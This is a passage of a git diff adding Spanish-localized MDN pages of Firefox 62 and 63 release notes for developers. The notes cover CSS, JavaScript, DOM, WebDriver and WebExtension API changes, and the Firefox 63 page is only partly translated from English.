+ <li>For out-of-bounds <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a> indexes, {{jsxref("Reflect.defineProperty()")}} and {{jsxref("Reflect.set()")}} will now return <code>false</code> instead of <code>true</code> ({{bug(1308735)}}).</li>
+</ul>
+
+<h4 id="Removals_3">Removals</h4>
+
+<ul>
+ <li>The <code>DOMPoint</code> and <code>DOMPointReadOnly</code> constructors no longer support an input parameter of type <code>DOMPointInit</code>; the values of the properties must be specified using the <code>x</code>, <code>y</code>, <code>z</code>, and <code>w</code> parameters ({{bug(1186265)}}).</li>
+ <li>The {{domxref("URL.createObjectURL()")}} method no longer supports creating object URLs to represent a {{domxref("MediaStream")}}. This capability has been obsolete for some time now, since you can now simply set {{domxref("HTMLMediaElement.srcObject")}} to the <code>MediaStream</code> directly ({{bug(1454889)}}).</li>
+</ul>
+
+<h3 id="APIs">APIs</h3>
+
+<h4 id="New_APIs">New APIs</h4>
+
+<ul>
+ <li>The {{domxref("Web_Speech_API", "Speech Synthesis API (Text-to-Speech)", "", "1")}} is now enabled by default on Firefox for Android ({{bug(1463496)}}).</li>
+</ul>
+
+<h4 id="DOM">DOM</h4>
+
+<ul>
+ <li>The {{domxref("DOMPointReadOnly")}} interface now supports the static function {{domxref("DOMPointReadOnly.fromPoint()")}}, which creates a new point object from a dictionary that's compatible with {{domxref("DOMPointInit")}}, which includes any {{domxref("DOMPoint")}} object. This function is also available on {{domxref("DOMPoint")}} ({{bug(1186265)}}).</li>
+ <li>For compatibility purposes, the {{domxref("Event.srcElement")}} property is now supported. It is an alias for {{domxref("Event.target")}} ({{bug(453968)}}).</li>
+ <li>{{domxref("Navigator.registerProtocolHandler()")}} now must only be called from a secure context ({{bug(1460506)}}).</li>
+ <li>The {{domxref("Navigator.registerContentHandler()")}} method has been disabled by default in preparation for being removed entirely, as it's been obsolete for some time ({{bug(1460481)}}).</li>
+ <li>The {{domxref("DataTransfer.DataTransfer", "DataTransfer()")}} constructor has been implemented ({{bug(1351193)}}).</li>
+ <li>{{domxref("Document.domain")}} can no longer return <code>null</code> ({{bug(819475)}}). If the domain cannot be identified, then <code>domain</code> returns an empty string instead of <code>null</code>.</li>
+ <li>Added the {{domxref("Console.timeLog()")}} method to display the current value of a console timer while continuing to track the time ({{bug(1458466)}}).</li>
+ <li>Added {{domxref("Console.countReset()")}} to reset a console counter value ({{bug(1459279)}}).</li>
+</ul>
+
+<h4 id="DOM_events">DOM events</h4>
+
+<p><em>No changes.</em></p>
+
+<h4 id="Service_workers">Service workers</h4>
+
+<p><em>No changes.</em></p>
+
+<h4 id="Media_Web_Audio_and_WebRTC">Media, Web Audio, and WebRTC</h4>
+
+<ul>
+ <li>The <code>"media.autoplay.enabled"</code> preference now controls automatic playback of both audio and video media, instead of just video media ({{bug(1413098)}}).</li>
+ <li>The {{domxref("ChannelSplitterNode")}} has been fixed to correctly default to having 6 channels with the <code>channelInterpretation</code> set to <code>"discrete"</code> and the <code>channelCountMode</code> set to <code>"explicit"</code>, as per the specification ({{bug(1456265)}}).</li>
+</ul>
+
+<h4 id="Removals_4">Removals</h4>
+
+<ul>
+ <li>The {{event("userproximity")}} and {{event("deviceproximity")}} events (see also {{domxref("UserProximityEvent")}} and {{domxref("DeviceProximityEvent")}}) have been disabled by default behind the <code>device.sensors.proximity.enabled</code> preference ({{bug(1462308)}}).</li>
+ <li>The {{event("devicelight")}} event (see also {{domxref("DeviceLightEvent")}}) has been disabled by default behind the <code>device.sensors.ambientLight.enabled</code> preference ({{bug(1462308)}}).</li>
+ <li>The {{event("DOMSubtreeModified")}} and {{event("DOMAttrModified")}} <a href="/en-US/docs/Web/Guide/Events/Mutation_events">mutation events</a> are no longer thrown when the {{htmlattrxref("style")}} attribute is changed via the CSSOM ({{bug(1460295)}}, see also this <a href="https://www.fxsitecompat.com/en-CA/docs/2018/domattrmodified-and-domsubtreemodified-events-are-no-longer-fired-when-style-attribute-is-changed-via-cssom/">site compatibility post</a>).</li>
+ <li>Support for {{domxref("CSSStyleDeclaration.getPropertyCSSValue()")}} has been removed ({{bug(1408301)}}).</li>
+ <li>Support for {{domxref("CSSValue")}}, {{domxref("CSSPrimitiveValue")}}, and {{domxref("CSSValueList")}} has been removed ({{bug(1459871)}}).</li>
+ <li>{{domxref("window.getComputedStyle()")}} no longer returns <code>null</code> when called on a <code>Window</code> which has no presentation ({{bug(1467722)}}).</li>
+</ul>
+
+<ul>
+</ul>
+
+<ul>
+</ul>
+
+<h3 id="HTTP">HTTP</h3>
+
+<h4 id="Removals_5">Removals</h4>
+
+<ul>
+ <li>The deprecated CSP {{CSP("referrer")}} directive has been removed. Please use the {{HTTPHeader("Referrer-Policy")}} header instead ({{bug(1302449)}}).</li>
+</ul>
+
+<h3 id="Security">Security</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="Plugins">Plugins</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="WebDriver_conformance_(Marionette)">WebDriver conformance (Marionette)</h3>
+
+<h4 id="New_features">New features</h4>
+
+<ul>
+ <li>
+  <p>Command "<code>WebDriver:ElementSendKeys</code>" has been made WebDriver conforming for file uploads ({{bug(1448792)}})</p>
+ </li>
+ <li>
+  <p>User prompts as raised by "<code>beforeunload</code>" events are automatically dismissed for "<code>WebDriver:Get</code>", "<code>WebDriver:Back</code>", "<code>WebDriver:Forward</code>", "<code>WebDriver:Refresh</code>", and "<code>WebDriver:Close</code>" commands ({{bug(1434872)}})</p>
+ </li>
+ <li>
+  <p>"<code>WebDriver:PerformActions</code>" for <kbd>Ctrl</kbd> + <code>Click</code> synthesizes a {{event("contextmenu")}} event ({{bug(1421323)}})</p>
+ </li>
+</ul>
+
+<h4 id="API_changes">API changes</h4>
+
+<ul>
+ <li>Removed obsolete endpoints including "<code>getWindowPosition</code>", "<code>setWindowPosition</code>", "<code>getWindowSize</code>", and "<code>setWindowSize</code>" ({{bug(1348145)}})</li>
+ <li>WebDriver commands which return success with data "<code>null</code>" now return an empty dictionary ({{bug(1461463)}})</li>
+</ul>
+
+<h4 id="Bug_fixes">Bug fixes</h4>
+
+<ul>
+ <li>
+  <p>"<code>WebDriver:ExecuteScript</code>" caused cyclic reference error for <a href="/en-US/docs/Web/WebDriver/WebElement">WebElement</a> collections ({{bug(1447977)}})</p>
+ </li>
+ <li>
+  <p>Dispatching a "<code>pointerMove</code>" or "<code>pause</code>" action primitive could cause a hang, and the command to never send a reply ({{bug(1467743)}}, {{bug(1447449)}})</p>
+
+  <p> </p>
+ </li>
+</ul>
+
+<h3 id="Other">Other</h3>
+
+<p><em>No changes.</em></p>
+
+<h2 id="Changes_for_add-on_developers">Changes for add-on developers</h2>
+
+<h3 id="API_changes_2">API changes</h3>
+
+<ul>
+ <li>Added the {{WebExtAPIRef("webRequest.getSecurityInfo()")}} API to examine details of TLS connections ({{bug(1322748)}}).</li>
+ <li>Added the {{WebExtAPIRef("browserSettings.newTabPosition")}} to customize where new tabs open ({{bug(1344749)}}).</li>
+ <li><code>windowTypes</code> has been deprecated in {{WebExtAPIRef("windows.get()")}}, {{WebExtAPIRef("windows.getCurrent()")}}, and {{WebExtAPIRef("windows.getLastFocused()")}} ({{bug(1419132)}}).</li>
+ <li>It's now possible to modify a browser action on a per-window basis ({{bug(1419893)}}).</li>
+</ul>
+
+<h3 id="Manifest_changes">Manifest changes</h3>
+
+<ul>
+ <li>New <code>open_at_install</code> property of the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></code> manifest key enables extensions to control whether their sidebars should open automatically on install or not ({{bug(1460910)}}).</li>
+ <li>Changes to the <code>browser_style</code> property of various manifest keys:
+  <ul>
+   <li>In <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a></code> and <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> it defaults to <code>false</code>.</li>
+   <li>In <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></code> and <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/options_ui">options_ui</a></code> it defaults to <code>true</code>.</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Theme_changes">Theme changes</h3>
+
+<ul>
+ <li>New <code>tab_background_separator</code> property of the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/theme">theme</a></code> manifest key enables extensions to change the color of the tab separator ({{bug(1459455)}}).</li>
+</ul>
+
+<h3 id="Removals_6">Removals</h3>
+
+<ul>
+ <li>Support for unpacked sideloaded extensions has been removed ({{bug(1385057)}}).</li>
+ <li>The warning about <code>browser_style</code> displayed when temporarily loading an extension for testing is no longer displayed ({{bug(1404724)}}).</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.fxsitecompat.com/en-US/versions/62">Site compatibility for Firefox 62</a></li>
+</ul>
+
+<h2 id="Older_versions">Older versions</h2>
+
+<p>{{Firefox_for_developers(61)}}</p>
diff --git a/files/es/mozilla/firefox/releases/63/index.html b/files/es/mozilla/firefox/releases/63/index.html
new file mode 100644
index 0000000000..cd63bb1eac
--- /dev/null
+++ b/files/es/mozilla/firefox/releases/63/index.html
@@ -0,0 +1,274 @@
+---
+title: Firefox 63 para desarrolladores
+slug: Mozilla/Firefox/Releases/63
+tags:
+  - Firefox
+  - Mozilla
+  - Release
+translation_of: Mozilla/Firefox/Releases/63
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p class="summary">Este articulo proporciona información sobre los cambios en Firefox 63, que afectara a los desarrolladores. La versión de Firefox 63 fue publicada el 23 de octubre del 2018.</p>
+
+<h2 id="Cambios_para_los_desarrolladores_web">Cambios para los desarrolladores web</h2>
+
+<h3 id="Herramientas_de_desarrollo">Herramientas de desarrollo</h3>
+
+<ul>
+ <li>La pestaña de fuentes en el <a href="/en-US/docs/Tools/Page_Inspector">Inspector de Pagina</a> ahora incluye un editor que facilita ver y editar los ajustes de fuente en tu página. ver <a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_fonts">editar fuentes </a>para más detalles.</li>
+ <li>El <a href="/en-US/docs/Tools/Accessibility_inspector">Inspector de accesibilidad</a> ahora está habilitado por defecto. ({{bug(1482454)}}).</li>
+ <li>Cuando flotas sobre un objeto en el <a href="/en-US/docs/Tools/Accessibility_inspector">Inspector de accesibilidad</a>, <a href="/en-US/docs/Tools/Accessibility_inspector#Highlighting_of_UI_items">el objeto es resaltado </a>y su rol y nombre serán mostrados en una barra de información de la página.  ({{bug(1473030)}}).</li>
+ <li>La consola de comandos en la <a href="/en-US/docs/Tools/Web_Console">Consola Web</a> es ahora mostrada inmediatamente con su respectivo resultado. ({{bug(1136299)}}).</li>
+ <li>Un nuevo icono ha sido añadido al contenido <a href="/en-US/docs/Tools/Network_Monitor">Monitor de Red</a> para indicar cuando una URL pertenece a un rastreador desconocido — ver <a href="/en-US/docs/Tools/Network_Monitor/request_list#Security_icons">iconos de seguridad.</a> ({{bug(1333994)}}).</li>
+ <li>El valor por defecto de    <code>devtools.aboutdebugging.showSystemAddons</code> es ahora <code>false</code>, significa que los complementos del sistema no serán listados en el <code>about:debugging</code> página. Puedes cambiar los ajustes navegando en <code>about:config</code> ({{bug(1425347)}}).</li>
+ <li>la barra de tareas <a href="/en-US/docs/Tools/Responsive_Design_Mode">Modo de diseño responsivo</a> fue simplificada, y añadimos la opción de alinear a la izquierda left-align la ventanilla.</li>
+ <li>El inspector de página incluye un <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#Custom_element_definition">enlace a la definición de clases</a> para un elemento personalizado. ({{bug(1443923)}}).</li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<ul>
+ <li>Soporte para los {{HTMLElement("img")}} elementos <code>decoding</code> el atributo ha sido añadido ({{bug(1416328)}}); ver tambien {{DOMxRef("HTMLImageElement.decoding")}}.</li>
+</ul>
+
+<h4 id="Removals">Removals</h4>
+
+<ul>
+ <li>Soporte para la <code>sidebar</code> (barralateral) tipo de enlace (<code>rel="sidebar"</code>) ha sido removido. si una etiqueta de anclaje incluye este atributo, sera ignorado. ({{bug(1452645)}}).</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li>Soporte para {{CSSxRef(":defined")}} pseudo-clase ha sido añadida ({{bug(1331334)}}).</li>
+ <li>soporte para {{CSSxRef("row-gap")}}, {{CSSxRef("column-gap")}} y {{CSSxRef("gap")}} ha sido añadida en <a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox#The_gap_properties">diseño flexbox</a> ({{bug(1398483)}}).</li>
+ <li>Soporte reactivado para <a href="/en-US/docs/Web/CSS/@media/-webkit-device-pixel-ratio">webkit-prefixed pixel-density @media queries</a> ({{bug(1444139)}}).</li>
+ <li>Soporte añadido para <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Caja de diseño flexible</a> (Flexbox) propiedades {{CSSxRef("align-self")}}, {{CSSxRef("align-content")}}, y {{CSSxRef("align-items")}} también como {{CSSxRef("justify-content")}} propiedad ({{bug(1472843)}}).</li>
+ <li>implementado el path()función para {{CSSxRef("offset-path")}} ({{bug(1429298)}}).</li>
+ <li>Implementado <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries#Syntax_improvements_in_Level_4">mejoras en la sintaxis de la petición de medios nivel 4</a> ({{bug(1472843)}}).</li>
+ <li>Cambio de nombre offset-* propiedades a {{CSSxRef("inset-block-start")}}, {{CSSxRef("inset-block-end")}}, {{CSSxRef("inset-inline-start")}}, and {{CSSxRef("inset-inline-end")}} ({{bug(1464782)}}).</li>
+ <li>Adiciona soporte para <a href="/en-US/docs/Web/CSS/@media/prefers-reduced-motion">preferencia-movimiento-reducido</a> implementación contenido media. ({{bug(1365045)}}, {{bug(1475462)}}).</li>
+ <li>Added flow relative values (<code>block</code>, <code>inline</code>) for the {{CSSxRef("resize")}} property ({{bug(1464786)}}).</li>
+ <li>Implemented flexbox layout for <code>safe</code> &amp; <code>unsafe</code> values in {{CSSxRef("align-self")}}, {{CSSxRef("align-content")}}, and {{CSSxRef("justify-content")}} ({{bug(1297774)}}).</li>
+ <li>The <a href="/en-US/docs/Web/CSS/CSS_Logical_Properties">logical properties</a> (where appropriate) are now animatable ({{bug(1309752)}}).</li>
+</ul>
+
+<h4 id="Removals_2">Removals</h4>
+
+<ul>
+ <li>Removed <code>offset-block-start</code>, <code>offset-block-end</code>, <code>offset-inline-start</code> and <code>offset-inline-end</code>; these have been renamed to <code>inset-*</code>, as described above ({{bug(1464782)}}).</li>
+</ul>
+
+<h3 id="SVG">SVG</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>The {{JSxRef("Symbol.prototype.description")}} property has been implemented ({{bug(1472170)}}).</li>
+ <li>The {{JSxRef("Object.fromEntries()")}} method has been added ({{bug(1469019)}}).</li>
+ <li>When you try to access a property of an undefined object, the error message is now much improved. Considering the case where <code>x</code> is undefined and you try to access <code>x.y</code>, instead of <code>TypeError: x is undefined</code> the console now returns the more descriptive <code><a href="/en-US/docs/Web/JavaScript/Reference/Errors/cant_access_property">x is undefined; can't access its "y" property</a></code> ({{bug(1259822)}}).</li>
+</ul>
+
+<h4 id="Removals_3">Removals</h4>
+
+<ul>
+ <li>Experimental WebAssembly Module IndexedDB serialization support has been removed ({{bug(1469395)}}).</li>
+</ul>
+
+<h3 id="APIs">APIs</h3>
+
+<h4 id="New_APIs">New APIs</h4>
+
+<ul>
+ <li>The Shadow DOM ({{bug(1471947)}}) and Custom Elements ({{bug(1471948)}}) APIs have been enabled by default; See <a href="/en-US/docs/Web/Web_Components">Web components</a> for more details.</li>
+ <li>The {{domxref("Media_Capabilities_API", "Media Capabilities API", "", "1")}} been implemented ({{bug(1409664)}}).</li>
+ <li>The {{domxref("Clipboard", "Async Clipboard API", "", "1")}} has been implemented and enabled by default for all channels ({{bug(1461465)}}). As is the case with Chrome, Firefox currently implements only the {{domxref("Clipboard.writeText", "writeText()")}} and {{domxref("Clipboard.readText", "readText()")}} methods; however, unlike Chrome, <code>readText()</code> is only available in <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">browser extensions</a>.</li>
+ <li>The {{DOMxRef("SecurityPolicyViolationEvent")}} interface is now supported. It allows sending events when the {{HTTPHeader("Content-Security-Policy")}} is violated ({{bug(1472661)}}).</li>
+</ul>
+
+<h4 id="DOM">DOM</h4>
+
+<ul>
+ <li>The following portions of the {{domxref("Web_Animations_API", "Web Animations API", "", "1")}} have been enabled by default (see {{bug(1476158)}}):
+  <ul>
+   <li>The {{DOMxRef("Animation")}} properties {{DOMxRef("Animation.ready", "ready")}} and {{DOMxRef("Animation.finished", "finished")}}, specifying the <code>Animation</code> object's <code>ready</code> and <code>finished</code> {{JSxRef("Promise")}}s.</li>
+   <li>The {{DOMxRef("Animation")}} object's {{DOMxRef("Animation.effect", "effect")}} property.</li>
+   <li>The interfaces {{DOMxRef("KeyframeEffect")}} and {{DOMxRef("AnimationEffect")}}.</li>
+  </ul>
+ </li>
+ <li>The {{DOMxRef("Element.toggleAttribute()")}} method has been implemented ({{bug(1469592)}}).</li>
+ <li>The historical, previously non-standard, {{DOMxRef("Event.returnValue")}} property is now supported for compatibility purposes ({{bug(1452569)}}).</li>
+ <li>We implemented the {{DOMxRef("Window.event")}} property to improve web compatibility, now that it's become standard ({{bug(218415)}}).</li>
+ <li>To bring Firefox into alignment with Edge and Chrome, the {{DOMxRef("NavigatorID.platform", "navigator.platform")}} property now returns <code>"Win32"</code> even when running on 64-bit Windows ({{bug(1472618)}}).</li>
+ <li>Prior to Firefox 63, links that open new windows that had <code>rel="noopener"</code>, as well as calls to {{DOMxRef("Window.open()")}} with the <code><a href="/en-US/docs/Web/API/Window/open#noopener">noopener</a></code> window feature enabled would default to having all window features disabled, so that you had to explicitly re-enable any standard features you wanted. Now these windows have the same set of features enabled as any other window, and you need to explicitly turn off any you don't want ({{bug(1419960)}}).</li>
+</ul>
+
+<h4 id="DOM_events">DOM events</h4>
+
+<ul>
+ <li>Handling of the <kbd>Alt</kbd> key <em>on the right side</em> of the keyboard has been improved on Windows. If the user's current keyboard layout maps the <kbd>Alt</kbd> key to the <kbd>AltGr</kbd> modifier key, the value of {{DOMxRef("KeyboardEvent.key")}} is now reported as <code>"AltGraph"</code>. This behavior matches the behavior recently introduced in Chrome ({{bug(900750)}}).</li>
+</ul>
+
+<h4 id="Media_Web_Audio_and_WebRTC">Media, Web Audio, and WebRTC</h4>
+
+<ul>
+ <li>Microphone access now works simultaneously in multiple tabs, even within the same content process ({{bug(1404977)}}).</li>
+ <li>{{DOMxRef("RTCDataChannel")}} has been updated to support the sctp-sdp-21 data format for the data, in addition to the older sctp-sdp-05 format previously supported.</li>
+ <li>The {{DOMxRef("ConstantSourceNode")}} node type for Web Audio API now has a default channel count of 2 rather than 1, in order to match the specification ({{bug(1413283)}}).</li>
+ <li>The {{domxref("Web_Audio_API", "Web Audio API", "", "1")}} interface {{DOMxRef("AudioScheduledSourceNode")}} (and by extension, all the other node types based on it) now throw the correct exception when a negative value is specified for the node start time. That error is <code>RangeError</code> ({{bug(1413284)}}).</li>
+ <li>The minimum and maximum permitted values for an {{DOMxRef("AudioParam")}} object's {{DOMxRef("AudioParam.value", "value")}} have been changed to the minimum negative single-precision floating-point value (-340,282,346,638,528,859,811,704,183,484,516,925,440) and the maximum positive single-precision floating-point value (+340,282,346,638,528,859,811,704,183,484,516,925,440) respectively ({{bug(1476695)}}).</li>
+ <li>The {{DOMxRef("SourceBuffer.changeType")}} method, which allows you to change codecs during an active stream, has been enabled by default. This is part of the {{domxref("Media_Source_Extensions_API", "Media Source Extensions API", "", "1")}} ({{bug(1481166)}}).</li>
+ <li>The {{DOMxRef("AudioParam.setValueCurveAtTime()")}} method has been updated to correctly accept an array of floating-point values to indicate the parameter's values to change to over time. Previously, it required a {{DOMxRef("Float32Array")}} ({{bug(1421091)}}).</li>
+ <li>{{DOMxRef("AudioParam.setValueCurveAtTime()")}} has also been updated to correctly return a proper <code>TypeError</code> when a non-finite value is found in the <code>values</code> array ({{bug(1472095)}}).</li>
+ <li>In addition, <code>setValueCurveAtTime()</code> has been updated to ensure that, when the parameter finishes following the specified value curve after the duration elapses, the value of the parameter is set to the last value in the list of values to curve through ({{bug(1308436)}}).</li>
+ <li>The <code>RTCRTPStreamStats</code> dictionary has been renamed to {{DOMxRef("RTCRtpStreamStats")}} for consistency with other WebRTC dictionaries and the specification ({{bug(1480498)}}).</li>
+ <li>Support for the <code>RTCRtpStreamStats</code> dictionary's {{DOMxRef("RTCRtpStreamStats.kind", "kind")}} property has been added ({{bug(1481851)}}).</li>
+ <li>The {{DOMxRef("RTCRtpStreamStats")}} dictionary's {{DOMxRef("RTCRtpStreamStats.isRemote", "isRemote")}} property is deprecated and will be removed in Firefox 65. A warning is now output to console when this property is accessed. See <a href="https://blog.mozilla.org/webrtc/getstats-isremote-65/">this blog post on the Advancing WebRTC blog</a> for details ({{bug(1393306)}}).</li>
+</ul>
+
+<h4 id="Canvas_and_WebGL">Canvas and WebGL</h4>
+
+<ul>
+ <li>A new <code>powerPreference</code> context attribute has been added to {{DOMxRef("HTMLCanvasElement.getContext()")}}. On macOS this allows WebGL non-performance-critical applications and applets to request the low-power GPU instead of the high-power GPU in multi-GPU systems ({{bug(1349799)}}).</li>
+</ul>
+
+<h4 id="Removals_4">Removals</h4>
+
+<ul>
+ <li>The obsolete and non-standard Firefox-only methods {{DOMxRef("Window.back()")}} and {{DOMxRef("Window.forward()")}} have been removed. Please use the {{DOMxRef("History.back", "window.history.back()")}} and {{DOMxRef("History.forward", "window.history.forward()")}} methods instead ({{bug(1479486)}}).</li>
+ <li>The {{DOMxRef("URL.createObjectURL", "createObjectURL()")}} and {{DOMxRef("URL.revokeObjectURL", "revokeObjectURL()")}} methods are no longer available on {{DOMxRef("ServiceWorker")}} instances due to the potential they introduced for memory leaks to occur ({{bug(1264182)}}).</li>
+ <li>Since it was deprecated in the specification anyway, the limited support for Doppler effects on {{DOMxRef("PannerNode")}} has been removed from the Web Audio API. The {{DOMxRef("AudioListener")}} properties {{DOMxRef("AudioListener.dopplerFactor", "dopplerFactor")}} and {{DOMxRef("AudioListener.speedOfSound", "speedOfSound")}} have been removed, along with the <code>PannerNode</code> method {{DOMxRef("PannerNode.setVelocity", "setVelocity()")}} ({{bug(1148354)}}).</li>
+</ul>
+
+<h3 id="CSSOM">CSSOM</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="HTTP">HTTP</h3>
+
+<ul>
+ <li>The {{HTTPHeader("Clear-Site-Data")}} header is implemented and no longer behind a preference ({{bug(1470111)}}).</li>
+</ul>
+
+<h3 id="Security">Security</h3>
+
+<ul>
+ <li>Site favicons are now subject to <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy</a>, if one is configured for the site ({{bug(1297156)}}).</li>
+ <li>CSP <code>script-src</code> directive's <code>'report-sample'</code> expression now recognized when generating violation reports. This directive indicates that a short sample of where the violation occurred should be included in the report. Previously, Firefox always included this sample ({{bug(1473218)}}).</li>
+ <li>Firefox now uses NSS 3.39 ({{bug(1470914)}}).</li>
+</ul>
+
+<h3 id="Plugins">Plugins</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="WebDriver_conformance_(Marionette)">WebDriver conformance (Marionette)</h3>
+
+<h4 id="New_features">New features</h4>
+
+<ul>
+ <li>Marionette now returns a <code>setWindowRect</code> <a href="/en-US/docs/Web/WebDriver/Capabilities">capability</a> in the <code>WebDriver:NewSession</code> response that is true if the browser window can be repositioned and resized, which e.g. is the case for Firefox but not any mobile applications ({{bug(1470659)}}).</li>
+ <li>Added support for the <code>unhandledPromptBehavior</code> capability, which allows to define a specific <a href="https://w3c.github.io/webdriver/#dfn-user-prompt-handler">prompt behavior</a> of the WebDriver specification ({{bug(1264259)}}).</li>
+ <li>Handling of user prompts has been added to the <code>WebDriver:ExecuteScript</code> and <code>WebDriver:ExecuteAsyncScript</code> commands ({{bug(1439995)}}).</li>
+</ul>
+
+<h4 id="API_changes">API changes</h4>
+
+<ul>
+ <li>Deprecated command end-points without the <code>WebDriver:</code> prefix have been removed ({{bug(1451725)}}).</li>
+ <li>The <code>WebDriver:NewSession</code> command returns recommended strings (<code>linux</code>, <code>mac</code>, <code>windows</code>) for <code>platformName</code> as defined in the WebDriver specification ({{bug(1470646)}}).</li>
+</ul>
+
+<h4 id="Bug_fixes">Bug fixes</h4>
+
+<ul>
+ <li>Focus related events were missing on element interaction when Firefox was not running as the top-most application ({{bug(1398111)}}).</li>
+ <li>Performing a <code>pointerDown</code> and <code>pointerUp</code> action in a subsequent action sequence could trigger a double click because <code>WebDriver:ReleaseActions</code> didn't reset the double click tracker ({{bug(1422583)}}).</li>
+ <li>Executing <code>pause</code> actions repeatedly could cause an infinite hang ({{bug(1447449)}}).</li>
+ <li>Fixed a bug where returning an element collection from <code>WebDriver:ExecuteScript</code> and <code>WebDriver:ExecuteAsyncScript</code> would cause a cyclic reference error ({{bug(1447977)}}).</li>
+ <li>To prevent a race condition both the <code>WebDriver:AcceptAlert</code> and <code>WebDriver:DismissAlert</code> commands now wait until the user prompt has been closed ({{bug(1479368)}}).</li>
+ <li>Log entries as emitted by the frame script were no longer limited by <code>MarionettePrefs.logLevel</code> but logged everything ({{bug(1482829)}}).</li>
+ <li><code>WebDriver:TakeScreenshot</code> raised an error when taking a screenshot of a window larger than 32767 pixels in width or height ({{bug(1485730)}}).</li>
+ <li><code>WebDriver:SendAlertText</code> didn't replace default user prompt value if text to send is an empty string ({{bug(1486485)}}).</li>
+</ul>
+
+<h3 id="Other">Other</h3>
+
+<ul>
+ <li>Corrected the behavior of {{DOMxRef("PerformanceObserver.observe()")}} to simply do nothing if no valid entry types are found in the specified array of entry types to observe, or if the array is empty or missing. Previously, Firefox was incorrectly throwing a <code>TypeError</code> ({{bug(1403027)}}).</li>
+ <li>In <a href="/en-US/docs/Web/OpenSearch">OpenSearch</a>, Firefox now accepts <code>application/json</code> as a search URL type, as an alias of <code>application/x-suggestions+json</code> ({{bug(1425827)}}).</li>
+</ul>
+
+<h2 id="Changes_for_add-on_developers">Changes for add-on developers</h2>
+
+<h3 id="API_changes_2">API changes</h3>
+
+<h4 id="Theming">Theming</h4>
+
+<ul>
+ <li>The default text color for {{WebExtAPIRef("browserAction")}} badges is now automatically set to black or white, to maximise contrast with the background ({{bug(1474110)}}).</li>
+ <li>The <code>accentcolor</code> and <code>textcolor</code> properties of the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/theme">theme</a></code> manifest key are now optional ({{bug(1413144)}}).</li>
+ <li>{{WebExtAPIRef("browserAction.getBadgeTextColor()")}} and {{WebExtAPIRef("browserAction.setBadgeTextColor()")}} enable you to get and set the text color of browser action badges ({{bug(1424620)}}).</li>
+ <li>The theme <code>colors</code> key in <code>manifest.json</code> now supports the <code>ntp_text</code> property to set the text color in a new tab, and the <code>ntp_background</code> property to set the color of a new tab ({{bug(1347204)}}).</li>
+ <li>Themes can now define the colors for sidebars, such as the bookmarks sidebar ({{bug(1418602)}}). The relevant properties include:
+  <ul>
+   <li><code>sidebar</code>: The background color for sidebars.</li>
+   <li><code>sidebar_text</code>: The text color for sidebars.</li>
+   <li><code>sidebar_highlight</code>: The background color of a selected item in a sidebar.</li>
+   <li><code>sidebar_highlight_text</code>: The text color of a selected item in a sidebar.</li>
+  </ul>
+ </li>
+ <li>The method {{WebExtAPIRef("management.install()")}} allows web extensions to install and enable signed browser themes ({{bug(1369209)}}).</li>
+</ul>
+
+<h4 id="Search">Search</h4>
+
+<ul>
+ <li>The new {{WebExtAPIRef("search")}} AP<a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/search">I</a> enables you to retrieve the list of installed search engines and perform searches with them ({{bug(1352598)}}).</li>
+ <li>{{WebExtAPIRef("topSites.get()")}} now takes an <code>options</code> parameter enabling you to set various options for the list of sites returned ({{bug(1445836)}}).</li>
+</ul>
+
+<h4 id="Tabs">Tabs</h4>
+
+<ul>
+ <li>{{WebExtAPIRef("tabs.onHighlighted")}} now supports multi-select ({{bug(1474440)}}).</li>
+ <li>{{WebExtAPIRef("tabs.highlight")}} includes an optional field in the <code>highlightInfo</code> object. The optional populate field defaults to <code>true</code>. Setting it to <code>false</code> prevents the returned <code>windows.Window</code> object from being populated with a list of tabs.</li>
+ <li>{{WebExtAPIRef("tabs.update")}} now supports changing the selection status of a tab by including <code>highlighted: true</code> in the <code>updateProperties</code> parameter ({{bug(1479129)}}).</li>
+ <li>{{WebExtAPIRef("tabs.update")}} supports changing the selection status of a tab without changing the focused tab ({{bug(1486050)}}) by including both <code>highlighted: true</code> and <code>active: false</code> in the <code>updateProperties</code> parameter.</li>
+ <li>{{WebExtAPIRef("tabs.query")}} now returns an array of {{WebExtAPIRef("tabs.Tab")}} objects if multiple tabs are selected ({{bug(1465170)}}).</li>
+ <li>The {{WebExtAPIRef("tabs.Tab")}} property now properly reflects which tabs in a browser window are selected (highlighted) and {{WebExtAPIRef("tabs.highlight")}} supports changing the highlighted status of multiple tabs ({{bug(1464862)}}).</li>
+ <li>The <code>isarticle</code> property in the <code>extraParameters</code> object passed into {{WebExtAPIRef("tabs.onUpdated")}} has been renamed to <code>isArticle</code>. The old name is retained but deprecated. This change was uplifted to Firefox 62 ({{bug(1461695)}}).</li>
